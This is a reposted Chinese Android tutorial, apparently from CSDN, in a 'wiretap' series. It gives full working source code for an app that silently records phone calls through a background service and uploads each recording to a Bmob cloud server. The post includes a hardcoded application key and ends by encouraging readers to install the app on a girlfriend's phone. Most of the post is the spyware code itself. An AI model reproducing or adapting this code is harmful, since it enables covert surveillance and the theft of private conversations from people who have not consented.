Android实战简易教程-第五十五枪(窃听风云之电话录音上传)

原文地址:https://blog.csdn.net/yayun0516/article/details/48244011

前一段时间我写过一篇关于短信监听的文章Android实战简易教程-第四十枪(窃听风云之短信监听),话说现在短信用的越来越少了啊,下面来个更猛的,电话录音监听上传,电话接通后开始录音,电话挂断后将录音上传。这里我们还是借助Bmob提供的上传服务,将录音文件上传到bomb的服务器,可以自行下载,播放录音。

一、配置bmob

配置bmob服务很是简单,注册账号,下载jar包,将jar包引入libs文件目录下:


然后配置权限:
[html]  view plain  copy
  1. <uses-permission android:name="android.permission.INTERNET"/>  
  2. <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>  
  3. <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>  
  4. <uses-permission android:name="android.permission.READ_PHONE_STATE"/>  
  5. <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>  
  6. <uses-permission android:name="android.permission.READ_LOGS"/>  

然后在代码中初始化:
[java]  view plain  copy
  1. package com.bmob.example;  
  2. import cn.bmob.Bmob;  
  3. import android.app.Activity;  
  4. import android.os.Bundle;  
  5. public class MainActivity extends Activity {  
  6.     @Override  
  7.     protected void onCreate(Bundle savedInstanceState) {  
  8.          // TODO Auto-generated method stub  
  9.         super.onCreate(savedInstanceState);  
  10.          // 初始化 Bmob SDK  
  11.         // 使用时请将第二个参数Application ID替换成你在Bmob服务器端创建的Application ID  
  12.         Bmob.initialize(this"Your Application ID");  
  13.     }  
  14. }  

这些在官网的快速入门中都有,大家可以自行学习,下面我们来看一下代码实现。

二、代码实现

1.MainActivity.java:
[java]  view plain  copy
  1. package com.example.detectdemo;  
  2.   
  3. import android.app.Activity;  
  4. import android.content.Intent;  
  5. import android.os.Bundle;  
  6.   
  7. public class MainActivity extends Activity {  
  8.   
  9.     @Override  
  10.     protected void onCreate(Bundle savedInstanceState) {  
  11.         super.onCreate(savedInstanceState);  
  12.         setContentView(R.layout.activity_main);  
  13.          Intent intent = new Intent(this,PhoneService.class);    
  14.             startService(intent);    
  15.     }  
  16. }  

MainActivity.java就是启动了一个service,下面我们看一下这个service:
[java]  view plain  copy
  1. package com.example.detectdemo;  
  2.   
  3. import java.io.File;  
  4.   
  5. import cn.bmob.v3.Bmob;  
  6. import cn.bmob.v3.datatype.BmobFile;  
  7. import cn.bmob.v3.listener.UploadFileListener;  
  8. import android.app.Service;  
  9. import android.content.Context;  
  10. import android.content.Intent;  
  11. import android.media.MediaRecorder;  
  12. import android.os.Environment;  
  13. import android.os.IBinder;  
  14. import android.telephony.PhoneStateListener;  
  15. import android.telephony.TelephonyManager;  
  16.   
  17. public class PhoneService extends Service {  
  18.   
  19.     private TelephonyManager tm;  
  20.     private MyPhoneStateListener1 listener;  
  21.     private MediaRecorder mr;  
  22.   
  23.     @Override  
  24.     public void onCreate() {  
  25.         super.onCreate();  
  26.         Bmob.initialize(this"043e93c00763edf4ba390e9031775656");  
  27.   
  28.         tm = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);  
  29.         listener = new MyPhoneStateListener1();  
  30.         tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);  
  31.   
  32.     }  
  33.   
  34.     private class MyPhoneStateListener1 extends PhoneStateListener {  
  35.         public void onCallStateChanged(int state, String incomingNumber) {  
  36.             switch (state) {  
  37.   
  38.             case TelephonyManager.CALL_STATE_IDLE://闲置状态  
  39.                   
  40.   
  41.                 if (mr != null) {  
  42.                     // if(incomingNumber.equals("5556")||incomingNumber.equals("15555215556")){  
  43.                     mr.stop();  
  44.                     mr.reset();  
  45.                     mr.release();  
  46.                     mr = null;  
  47.   
  48.                     // }  
  49.                 }  
  50.                 break;  
  51.             case TelephonyManager.CALL_STATE_OFFHOOK://接听状态,进行录音监听  
  52.                   
  53.                 try {  
  54.   
  55.                     mr = new MediaRecorder();  
  56.                     mr.setAudioSource(MediaRecorder.AudioSource.MIC);  
  57.                     mr.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);  
  58.                     mr.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);  
  59.   
  60.                       
  61.                     String fileNameString = System.currentTimeMillis() + ".3gp";  
  62.                     File file = new File(  
  63.                             Environment.getExternalStorageDirectory(),  
  64.                             fileNameString);  
  65.                     String filePathString = file.getPath();  
  66.                     mr.setOutputFile(file.getAbsolutePath());  
  67.   
  68.                     mr.prepare();  
  69.                     mr.start();  
  70.                     upload(filePathString);  
  71.   
  72.                 } catch (Exception e) {  
  73.                     e.printStackTrace();  
  74.                 }  
  75.                 break;  
  76.             case TelephonyManager.CALL_STATE_RINGING://响铃状态  
  77.                   
  78.                 break;  
  79.             default:  
  80.                 break;  
  81.             }  
  82.         };  
  83.     }  
  84.   
  85.     @Override  
  86.     public IBinder onBind(Intent intent) {  
  87.   
  88.         return null;  
  89.     }  
  90.   
  91.     /** 
  92.      * 将文件上传 
  93.      *  
  94.      * @param filepath 
  95.      */  
  96.     private void upload(String filePath) {  
  97.         final BmobFile icon = new BmobFile(new File(filePath));  
  98.         icon.upload(thisnew UploadFileListener() {  
  99.   
  100.             @Override  
  101.             public void onSuccess() {//上传成功!  
  102.                 Cheat name = new Cheat();  
  103.                 name.setName(icon);  
  104.                 name.save(getApplicationContext());  
  105.             }  
  106.   
  107.             @Override  
  108.             public void onProgress(Integer arg0) {  
  109.   
  110.             }  
  111.   
  112.             @Override  
  113.             public void onFailure(int arg0, String arg1) {  
  114.   
  115.             }  
  116.         });  
  117.     }  
  118.   
  119. }  
最后配置权限:
[html]  view plain  copy
  1. <?xml version="1.0" encoding="utf-8"?>  
  2. <manifest xmlns:android="http://schemas.android.com/apk/res/android"  
  3.     package="com.example.detectdemo"  
  4.     android:versionCode="1"  
  5.     android:versionName="1.0" >  
  6.   
  7.     <uses-sdk  
  8.         android:minSdkVersion="8"  
  9.         android:targetSdkVersion="21" />  
  10.   
  11.     <uses-permission android:name="android.permission.INTERNET" />  
  12.     <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />  
  13.     <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />  
  14.     <uses-permission android:name="android.permission.READ_PHONE_STATE" />  
  15.     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />  
  16.     <uses-permission android:name="android.permission.READ_LOGS" />  
  17.     <uses-permission android:name="android.permission.READ_PHONE_STATE" /> <!-- //用来读取电话状态 -->  
  18.   
  19.     <uses-permission android:name="android.permission.RECORD_AUDIO" /> <!-- //录音的相关权限 -->  
  20.     <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS" /> <!-- //以下两个是读写SDcard相应的权限 -->  
  21.     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />  
  22.   
  23.     <application  
  24.         android:allowBackup="true"  
  25.         android:icon="@drawable/ic_launcher"  
  26.         android:label="@string/app_name"  
  27.         android:theme="@style/AppTheme" >  
  28.         <activity  
  29.             android:name=".MainActivity"  
  30.             android:label="@string/app_name" >  
  31.             <intent-filter>  
  32.                 <action android:name="android.intent.action.MAIN" />  
  33.   
  34.                 <category android:name="android.intent.category.LAUNCHER" />  
  35.             </intent-filter>  
  36.         </activity>  
  37.   
  38.         <service android:name="com.example.detectdemo.PhoneService" >  
  39.         </service>  
  40.     </application>  
  41.   
  42. </manifest>  


主要用到了TelephonyManager 电话管理类和MediaRecorder  录音类,也比较简单,录音结束后通过Bmob的upload方法上传文件。

运行本实例,然后打电话给10010进行测试:




点击文件名即可将文件进行下载:

好了,自此功能就实现了。可以把它装到你女票的手机上了!哈哈,谨慎而为之啊!概不负责。
喜欢的朋友请关注我和我的公众号!谢谢


源码地址:http://download.csdn.net/detail/yayun0516/9082671

猜你喜欢

转载自blog.csdn.net/dodod2012/article/details/80474586